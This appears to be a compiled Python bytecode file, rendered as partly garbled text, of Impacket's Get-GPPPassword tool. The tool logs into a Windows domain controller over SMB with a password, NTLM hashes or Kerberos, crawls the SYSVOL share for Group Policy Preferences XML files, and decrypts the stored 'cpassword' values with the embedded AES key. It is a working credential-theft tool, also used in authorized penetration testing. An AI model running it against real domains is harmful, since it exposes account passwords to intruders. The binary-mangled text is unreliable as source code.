o
    jS9                  
   @   s0  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlZd dlmZ d dlmZ d dlmZ d dlmZmZ d dlmZmZmZmZmZ G dd	 d	eZd
d Zdd Zdd Ze dkre!ej" e Z#e$e#j%e#j& e#j'( dkre#j)durej*+e#j)reddZ,e&de#j)  e-e#j)dZ.d/e.0 Z1e.2  e,3e#j)e1Z4e,5e4 dS e!d dS dS ee#\Z6Z7Z8Z9Z:Z;zee#e6e7e8e9e:e;Z<ee<e#j=Z,e,>  e,?e#j@ W dS  eAy ZB zeC jDejEkreF  eGeHeB W Y dZB[BdS dZB[Bww dS )    N)minidom)AES)unpad)version)loggerutils)SMBConnectionSMB2_DIALECT_002SMB2_DIALECT_21SMB_DIALECTSessionErrorc                       sR   e Zd ZdZ fddZdd ZdddZd	d
 Zdd Zdd Z	dd Z
  ZS )GetGPPasswordszdocstring for GetGPPasswords.c                    s   t t|   || _|| _d S )N)superr   __init__smbshare)selfr   r   	__class__ /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/Get-GPPPassword.pyr   +   s   
zGetGPPasswords.__init__c                 C   sj   t d | j }g }tt|D ]}||| d d d  td|| d d d   qt  d S )NzListing shares...shi1_netnamez  - %s)logginginfor   
listSharesrangelenappendprint)r   respshareskr   r   r   list_shares0   s   


zGetGPPasswords.list_sharesxmlc           
      C   st  t d|  g }|d g}t|dkrg }|D ]}t d|  zn| jj| j|d d dD ]_}| dvr| rOt d|   |	||  d  q.| 
d	| rt d
||    | ||  }t|dkr| | |	||  |d q.t d|   q.W q ty }	 zt |	 W Y d }	~	qd }	~	ww |}t dt|  t|dks|S )NzSearching *.%s files.../r   zSearching in %s *)password).z..zFound directory %s/r(   zFound matching file %s)filenameresultszFound file %szNext iteration with %d folders.)r   r   r   debugr   listPathr   get_longnameis_directoryr   endswithparseshowr   )
r   base_dir	extensionfiles
searchdirs	next_dirssdir
sharedfiler*   er   r   r   find_cpasswords9   s>   

zGetGPPasswords.find_cpasswordsc                 C   s:  g }zt |}|jd j}dd }|dkr_|jD ]B}dd |jD }|D ]5}	|	dD ]-}
||d||	dfd	||
d	fd
||
d
fd| ||
d
fd||
jdfg|d q,q%qW |S |dkr|jD ]B}dd |jD }|D ]5}	|	dD ]-}
||d||
dfd||
dfd
||
d
fd| ||
d
fd||
jdfg|d qyqrqfW |S |jD ]B}dd |jD }|D ]5}	|	dD ]-}
||d||
dfd||
dfd
||
d
fd| ||
d
fd||
jdfg|d qqqW |S  ty } zt	
 jt	jkr
t  t	t| W Y d }~|S d }~ww )Nr   c                 S   s   |  |d ur|  |S dS )N )getAttribute)element	attributer   r   r   <lambda>]   s    z6GetGPPasswords.parse_xmlfile_content.<locals>.<lambda>ScheduledTasksc                 S       g | ]}t |tjjjr|qS r   
isinstancer$   domr   Element.0cr   r   r   
<listcomp>b        z8GetGPPasswords.parse_xmlfile_content.<locals>.<listcomp>
PropertiesnamerunAs	cpasswordr'   changed)tagName
attributesfileGroupsc                 S   rA   r   rB   rF   r   r   r   rI   r   rJ   newNameuserNamec                 S   rA   r   rB   rF   r   r   r   rI      rJ   )r   parseString
childNodesrP   getElementsByTagNamer   decrypt_password
parentNode	Exceptionr   	getLoggerlevelDEBUG	traceback	print_excr+   str)r   r)   filecontentr*   rootxmltyperead_or_emptytopnode
task_nodestaskpropertyr9   r   r   r   parse_xmlfile_contentW   s   


4

$

z$GetGPPasswords.parse_xmlfile_contentc              
   C   s   g }| dd}t }z| j| j||j W n% ty1 } zt	| |W  Y d }~S d }~w t
y= } z d }~ww | }t|d }|d urr|| }d|v rit| | ||}|  |S td|  |S td |  |S )Nr%   \encodingrN   zNo cpassword was found in %szGOutput cannot be correctly decoded, are you sure the text is readable ?)replaceioBytesIOr   getFiler   writer   r   errorr[   getvaluecharset_normalizerdetectdecoderstripr+   rj   close)r   r)   r*   fhr9   outputrl   rb   r   r   r   r0      s6   


zGetGPPasswords.parsec                 C   s   t |dkrFd}d}t |d }|dkr|d d }n|dks#|dkr+|d	d|  7 }t|}t|tj|}t|||j}|	d
S t
d dS )Nr   s    Nlby 	3ls                         r         =z	utf-16-lez,cpassword is empty, cannot decrypt anything.r;   )r   base64	b64decoder   newMODE_CBCr   decrypt
block_sizerv   r   r+   )r   
pw_enc_b64keyivpadpw_encctxpw_decr   r   r   rY      s   


zGetGPPasswords.decrypt_passwordc                 C   sh   |D ]/}t d|d   t dd|d f  |d D ]\}}|dkr-t d||f  qt  qd S )NzFound a %s XML file:rP   z  %-10s: %srR   rQ   rN   )r   r   r   )r   r*   resultattrvaluer   r   r   r1      s   zGetGPPasswords.show)r$   )__name__
__module____qualname____doc__r   r#   r:   rj   r0   rY   r1   __classcell__r   r   r   r   r   (   s    
	@r   c                  C   s8  t jddd} | jdddd | jdtd	d d
d | jdtd	ddd | jdtd	ddd | jdddd | jdddd | d}|jddddd |jdddd |jdddd |jd dd!d"d | d#}|jd$dd%d&d |jd'dd%d(d |jd)d*d+gd,d+d-d.d/ ttjd0kr|   t	d0 | 
 S )1NTz8Group Policy Preferences passwords finder and decryptor.)add_helpdescriptiontargetstorezb[[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files))actionhelpz-xmlfileFz+Group Policy Preferences XML files to parse)typerequireddefaultr   z-shareSYSVOLz	SMB Sharez	-base-dirr%   z#Directory to search in (Default: /)z-ts
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)r   metavarr   z-no-passz&Don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)
connectionz-dc-ipz
ip addressztIP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameterz
-target-ipzIP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itz-port139445?zdestination portz)Destination port to connect to SMB Server)choicesnargsr   r   r   r|   )argparseArgumentParseradd_argumentra   add_argument_groupr   sysargv
print_helpexit
parse_args)parsergroupr   r   r   r      s(   


r   c                 C   s   t | j\}}}}| jd u r|| _|d u rd}t|dkr=t|dkr=| jd u r=| jdu r=| jd u r=ddlm} |d}| jd urEd| _	| jd urS| j
d\}}nd\}}||||||fS )	Nr;   r   F)getpassz	Password:T:)r;   r;   )r   parse_targetr   	target_ipr   hashesno_passaesKeyr   r"   split)argsdomainusernamer'   addressr   lmhashnthashr   r   r   r      s   
6

r   c           	   	   C   s   t || jt| jd}| }|tkrtd n|tkr#td n|t	kr-td ntd | j
du rE||||||| j| j n	|||||| | dkr[td |S td	 |S )
N)	sess_portzSMBv1 dialect usedzSMBv2.0 dialect usedzSMBv2.1 dialect usedzSMBv3.0 dialect usedTr   zGUEST Session GrantedzUSER Session Granted)r   r   intport
getDialectr   r   r+   r	   r
   r"   kerberosLoginr   dc_iploginisGuestSession)	r   r   r   r'   r   r   r   	smbClientdialectr   r   r   init_smb_session  s"   



r   __main__LOCALz#Opening %s XML file for reading ...rr;   z,[!] File does not exists or is not readable.)Ir   r   r$   rt   r   osrer   r_   xml.domr   rn   Cryptodome.Cipherr   Cryptodome.Util.Paddingr   impacketr   impacket.examplesr   r   impacket.smbconnectionr   r	   r
   r   r   objectr   r   r   r   r   r   BANNERr   inittsr+   r   upperxmlfilepathexistsgopenfjoin	readlinesrawdatarx   rj   r*   r1   r   r   r'   r   r   r   r   r   r#   r:   r2   r[   r9   r\   r]   r^   r`   rr   ra   r   r   r   r   <module>   sd    *



